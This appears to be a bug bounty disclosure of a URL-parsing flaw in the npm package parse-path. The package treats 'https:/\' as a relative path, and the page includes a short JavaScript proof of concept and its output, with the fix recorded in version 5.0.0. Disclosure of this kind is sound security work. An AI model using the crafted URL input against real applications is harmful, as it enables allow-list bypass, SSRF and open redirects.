Open Redirect in ionicabizau/parse-path


Reported on

Jul 8th 2021

✍️ Description

parse-path mishandles certain uses of backslash such as https:/\ and interprets the URI as a relative path. Browsers accept backslashes after the protocol, and treat it as a normal slash, while parse-path sees it as a relative path. Which will lead to SSRF attacks, open redirects, or other undesired behavior.

Similar to CVE-2021-27515, CVE-2021-27516

🕵️‍♂️ Proof of Concept

  1. Create the following PoC file:
// poc.js
var parsePath = require("parse-path")
var u= parsePath("https:/\/\/\")
  1. Execute the following commands in another terminal:
npm i parse-path # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
protocols: ["https"]
protocol: "https"
port: null
resource: ""
user: ""
pathname: "/"
hash: ""
search: ""
href: "https:///"
query: Object {}

💥 Impact

Depending on library usage and attacker intent, impacts may include allow/block list bypasses, SSRF attacks, open redirects, or other undesired behavior.

We have contacted a member of the ionicabizau/parse-path team and are waiting to hear back 2 years ago
Ionică Bizău (Johnny B.) validated this vulnerability 2 years ago
ready-research has been awarded the disclosure bounty
The fix bounty is now up for grabs
2 years ago


A fix would be very welcomed! Thank you very much for the report.

Ionică Bizău (Johnny B.) marked this as fixed in 5.0.0 with commit f9ad88 a year ago
Ionică Bizău (Johnny B.) has been awarded the fix bounty
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